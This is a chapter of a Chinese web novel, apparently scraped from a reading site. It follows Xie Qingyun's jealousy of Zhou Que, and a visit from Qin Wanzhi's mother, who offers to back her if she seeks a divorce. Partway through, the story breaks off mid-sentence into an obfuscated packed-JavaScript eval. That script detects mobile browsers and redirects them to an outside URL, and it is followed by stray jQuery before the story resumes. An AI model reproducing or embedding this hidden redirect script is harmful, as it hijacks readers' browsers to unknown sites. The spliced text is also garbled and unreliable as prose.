默认冷灰
24号文字
方正启体

22. 第 22 章

作者:云外声本书字数:K更新时间:
    秦挽知第一次见到谢清匀的那天,并不是谢清匀第一次见到秦挽知。


    谢清匀第一次见秦挽知有些久远。


    那天连绵雨初霁,天气凉寒,青石板上还泛着湿漉漉的光。


    他不知道她为何送完衣服没有立时离开,也许下来沿湖转了转。


    国子监门前,马车帘栊轻动,她掀开竹帘,俯身登车时,露出了半张莹润如玉的侧颜,银红的裙裾在辕木上一闪,躲进车厢中消失不见。


    他甚至不知道她姓甚名何,只是轻轻一瞥。


    冲喜人选他并不知情,按部就班的与选中的新娘行了礼,直到第二日看到红盖头下的真容,只觉得几分熟悉。


    过了几日才确定她就是来国子监给周榷送衣服的姑娘。


    彼时周榷离开国子监已经半年之久。


    秦挽知第一次来国子监找他的时候,他不可避免想到这件事。


    一样的等待,一如既往的兰芷香。


    慢慢的,这事反倒记得愈发清晰,他克制着不去在意,终归只是个香罢了。


    再则,如今都是他给她置备,早不是周榷的那些东西。


    他知晓周榷故意为之,他也认为自己不该因此生出波澜,毕竟她喜欢。


    场中沉寂,不觉都看向弄出声响的谢清匀。


    周榷这话听起来有那么几分怪劲,其余人都不敢多言,毕竟官职没有两位的高,关系也没有两位的近。


    谢清匀直迎周榷的目光,淡笑:“表舅说得不错,四娘也与我提起过。”


    语声轻飘飘的,反倒一声表舅引起更多的注意,这个象征着身份的称呼,强行将众人的心思拉扯回来。


    周榷含笑拒绝:“在朝中,下官始终是谢大人麾下一员,公门之内不论家礼,还是依朝中礼数为宜。”


    这似乎全了尊卑,又圆过辈分的一句话,令在场各位不自觉都去岔开话题,重新找寻新的话头。


    过几时,宴席散,唯余周榷和谢清匀。


    谢清匀未置一词,抬步要走,周榷负手而立,冷嘲:“谢大人,四娘知道你的真实面目吗?”


    谢清匀步伐几不可察地顿,不曾回首,亦未有所回应,阔步而去。


    回到府中,夜已深。


    谢清匀到慎思堂待了会儿,阖室漆黑,望着对面的博古架,他能放任自己耽于心绪,直至彻底冷静下来。


    良久,夜中响起一道极轻极轻的叹声。


    澄观院灯亮着一盏,秦挽知已然睡下。


    谢清匀沐浴洗清了酒气 ,他在床榻前缓缓蹲下身,秦挽知睡得安然恬静,双手乖巧搭在腹前,睡姿一如端正。


    淡淡的清香萦绕,味道并不浓郁,但用的多了,便是短暂几天未曾熏香,也能嗅到香味。


    目光深沉,藏在黑夜里。手指轻轻悬在颊侧,落得缓慢,不敢用力吵醒了她,指腹下温热的肌肤熟悉而安心。


    -


    是日午后,有小厮来澄观院,琼琚从窗户望一眼,大奶奶还在睡,便给小厮使了个眼色,离远了小声问:“有何事?”


    “有客来了,韩夫人。”


    韩夫人,那就是秦玥知。琼琚心里琢磨着,吩咐道:“让人侍候着,不可怠慢。我去告诉大奶奶。”


    内室,睡了足有一个时辰的秦挽知已听到响动醒来,琼琚进来时只见大奶奶撩来帏帐,她快步上前将两边挂到银钩。


    “方才谁来了?”


    “外院的来报,五姑娘来了。”


    眉眼慵懒的睡意霎时清明,秦挽知坐起身:“玥知?”


    琼琚点头,秦挽知立时要下榻,玥知怀着身孕,澄观院距府门有段距离。


    “叫人过去了吗?派顶软轿去接。”


    琼琚应声,又在秦挽知不放心中出门去接人。


    几时后,琼琚回到屋中,秦挽知摆着几盘果品点心,她往后方看了看:“人呢?”


    “大奶奶,夫人也来了。”


    秦挽知动作一顿。


    自那日后,她和秦母要有半个月未曾相见,秦府几度派人来她也找理由给拒了。


    这回,不仅母亲亲自来了,还跟着玥知。


    秦玥知听说了母亲和姐姐闹了不开心,去秦府一趟发现比想象中要闹得厉害。这绝不寻常,她的姐姐是什么样的人,若非出了天大的事,断不会与母亲僵持至此。


    追问母亲缘由,沧桑许多的母亲只摇头沉默。无奈之下,秦玥知便想来谢府从姐姐这边从中说和,哪知母亲得知后,竟执意要和她同来。


    到轿辇至院门前,秦母又迟迟不敢下轿,别无他法,琼琚只好进去通传。


    秦玥知叹气:“阿娘,您这是怎么惹到了阿姐?竟让她避而不见,连您也不敢直面她?”


    秦母攥紧帕子,表情不好,低声道:“你一会儿且避一避。”


    她来是做和事佬的,走了还怎么两边见机行事地安抚,秦玥知闻言睁大眼:“我若避开,还如何为你们转圜?难道您还要与阿姐争执不成?”


    “你怀着孕身子贵重,情绪激动不得。”


    正说着,琼琚已折返恭请。


    秦母暗暗松了口气,最起码没有被拒之门外,还愿意见她。


    珠帘轻响,一见到秦挽知,秦母眼睛就忍不住地酸。


    秦玥知欢声喊着:“阿姐。”


    “我们来得突然,可别嫌我们叨扰。”


    “应当提前告知我,我好准备些你爱吃的茶点。”


    秦玥知:“准备什么呀,什么都不需要,就是来见阿姐的。”


    茶已斟好,秦挽知递过去茶盏,轻声叫了句:“娘。”


    秦母目光胶在她脸上,心中酸涩:“几日不见,你怎么看着瘦了许多?”


    “没有,是娘多心了。”


    她也有不自然,如何能够毫无波动,偏过头,转移话题问秦玥知:“最近胃口怎么样?”


    秦玥知莞尔:“好着呢,什么毛病都没有。”


    “倒是娘一直念着阿姐,失眠了好些天。她自己还不敢来,我只好带着娘过来见你。”


    秦挽知轻轻喟叹,“我这儿还有安神香,娘,您回去时带着,不要损耗了身子。”


    秦母张了张嘴,要说话时,外面传来了声音。


    这声儿秦挽知听得耳熟,琼琚旋即出去看情况,一看绀青色的比甲,是寿安堂的慈姑。


    琼琚讶异,迎上前,慈姑道:“听闻秦家夫人来了,老夫人头疾犯了不便出门吹风,派我来问候。”


    这一声里面的都能听到,秦母看了看秦挽知,慈姑进来又陈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469918|185525||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    述了一遍,说了几句不能来见亲家的歉意话,又问到谢府是有要事,还是想念起女儿。


    秦挽知将话回了过去,言罢几句,慈姑返身告退。


    经此一下,秦家母女三人静默了须臾,终是秦母按耐不住,她看向秦玥知:“玥知,你去外间歇歇。”


    秦玥知会意,看了两人一眼,留下殷殷叮嘱:“我走可以,但你们可要好好说话,是来消愁的,不是增气的。”


    秦挽知颔首,令琼琚领着秦玥知下去。


    在从前,秦母多半会担心是否会引起王氏对她的不满,秦挽知能够想象,再跟着的又是好一番劝诫。非也,这等突然到来的事情,按往日秦母根本不会做。她不单对秦挽知有要求,平日亦不想为秦挽知添麻烦,极少主动寻求谢府的帮助,像这回没有提前打招呼,来了也未曾带个礼,她不会做才对。


    秦挽知顿觉到了母亲的不寻常,这确实不是母亲的作风。


    待室内只剩母女二人,秦母拉住秦挽知的手,不见半分对王氏的担忧,只顾开门见山,一并把埋在心里的话吐出来:“四娘……你若真想离开谢家,娘这次定会站在你这边。”


    秦挽知指尖轻颤:“阿娘……”


    秦母颤着手抚过秦挽知的鬓发。她十五岁的女儿仿佛还在昨日,那样稚嫩青葱,那样无助,那样含着泪眼看着她,眼里的失落和绝望灼烫着她的心,她怎么一撇眼不忍去望,便真的遗忘了呢。


    “是娘怯懦糊涂,魔怔住了,路越走越错,我竟一门心思毫无知觉,苦了你这么些年……四娘,你若想和离,我们这次就和离,什么都不管,我都支持你的决定。”


    秦挽知怔怔看着母亲,内心陈杂的情绪翻滚难言。


    和离。


    她没有出口的词语,由母亲说出来。


    她曾经渴求的坚定的支持,似乎跨越十五年之久的光阴,真的来到了眼前。


    但她,已不是当初的秦挽知。


    秦挽知撕扯着,煎熬着,她的“犹豫”时而微弱,时而强大,是抵御痛苦的药,也慢慢蚕食着她,拉着她沉入痛苦。


    她只知道就在此时,她不能、无法不假思索地回应母亲。


    “你……不想和离了?”


    秦挽知的脸上浮现浅淡的痛色,她的声音沉重:“我不知道。”


    垂落的眼睫掩住心绪:“我没想好。”


    几个字坠地,秦母只觉得心口被细细的针扎了一下。她紧紧握住秦挽知的手,“无妨,无妨,不管你要做什么,都没关系,娘都陪在你身边。”


    “四娘,你要相信,娘从来都想让你好。”


    谢清匀回到家中才知道岳母两人至此,他略一斟酌,念及秦挽知和秦母间的矛盾,没有回澄观院打扰她们。


    是以等秦母和秦玥知要离开时,谢清匀方现身,在澄观院的院门前,向秦母长揖一礼。


    秦母表情复杂,也比较尴尬,毕竟前不久还在和秦挽知说着和离的事,这时候避着目光,不好直视他。


    说起来,谢清匀这个女婿做的没什么可挑剔的,有礼有节,对她这个岳母也是上心。


    单论起这个人,亦没什么不满意的,可偏这个人是谢清匀,姓谢,秦母暗自叹息。


    她一时也不知,和离是好,还是不好?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)